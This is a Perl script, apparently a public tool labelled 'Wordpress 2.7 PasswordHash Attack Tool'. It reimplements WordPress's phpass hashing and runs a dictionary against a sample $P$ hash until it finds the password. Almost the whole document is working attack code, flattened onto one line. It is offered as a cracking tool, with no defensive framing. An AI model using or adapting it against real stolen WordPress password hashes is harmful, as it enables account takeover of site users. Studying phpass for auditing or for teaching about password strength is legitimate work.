################################################################# #Wordpress 2.7 PasswordHash Attack Tool #It is based in "Portable PHP password hashing framework" #for Wordpress 2.7 #Autor: julioisaias #Thanks to Waraxe and m1cr0n #Contact: julioisaias[at]gmail.com #ALTO PARANA - PARAGUAY ################################################################# #! /usr/bin/perl -w use strict; use Digest::MD5 qw(md5 md5_hex); use List::Util qw(min); my $hashP = '$P$BS5/b7lxp4t.0j1ZFTyRcdrvAyxh5R0'; # 12345 my $dictionary = 'mydic.txt'; # Put a dictionary my $php_version = '5'; # Don't modify if you don't know it open (f1, "<$dictionary") || die "Error in open file!.\n"; $hashP =~ m{^(\$P\$[/a-zA-Z0-9.]+)}; die "Bad hash!\n" if length($1) != 34; my ($itoa64) = join('', my @itoa64 = ('.','/','0'..'9','A'..'Z','a'..'z')); my ($salt, $hash)=$hashP=~m/^(.{0,12})(.+)/; my ($header)=$salt=~m/^(.{0,3})/; while () { chomp($_); print "Current Password: $_\r"; my $found = &finder($_,$salt,$hash); print "\nPassword FOUND: $_" and last if $found; print "\nPassword NOT FOUND:" if eof; } close f1; sub b64{ my $input = $_[0]; my @input = split(//,$input); my $count = $_[1]; my $output = ''; my $i; do { my $value = ord($input[$i++]); $output .= $itoa64[$value & 0x3f]; if ($i < $count){ $value |= ord($input[$i]) << 8; } $output .= $itoa64[($value >> 6) & 0x3f]; if ($i++ >= $count){ return $output; } if ($i < $count){ $value |= ord($input[$i]) << 16; } $output .= $itoa64[($value >> 12) & 0x3f]; return $output if $i++ >= $count; $output .= $itoa64[($value >> 18) & 0x3f]; } while ($i < $count); return $output; } sub EncryptP{ my $password = $_[0]; my $setting = $_[1]; my @setting = split(//,$setting); my $hash; my $output = '*0'; $output = '*1' if substr($setting, 0, 2) eq $output; return $output if substr($setting, 0, 3) ne $header; my $count_log2 = index($itoa64, $setting[3]); if ($count_log2 < 7 || $count_log2 > 30){ return $output;} my $count = 1 << $count_log2; my $salt = substr($setting, 4, 8); return $output if length($salt) != 8; if ($php_version >= '5') { $hash = md5($salt . $password); do { $hash = md5($hash . $password); } while (--$count); } else { $hash = pack('H*', md5_hex($salt . $password)); do { $hash = pack('H*', md5_hex($hash . $password)); } while (--$count); } $output = substr($setting, 0, 12); $output .= &b64($hash, 16); return $output; } sub HashP{ my $password = $_[0]; my $salt = $_[1]; my $hash; $hash = &EncryptP($password,$salt); return $hash if length($hash) == 34; } sub CheckP{ my $password = $_[0]; my $stored_hash = $_[1]; my $hash = &EncryptP($password,$stored_hash); return $hash; } sub finder{ my $password = $_[0]; my $salt = $_[1]; my $hash = $_[2]; my $output = &CheckP($password,&HashP($password,$salt)); return $output eq $salt.$hash; }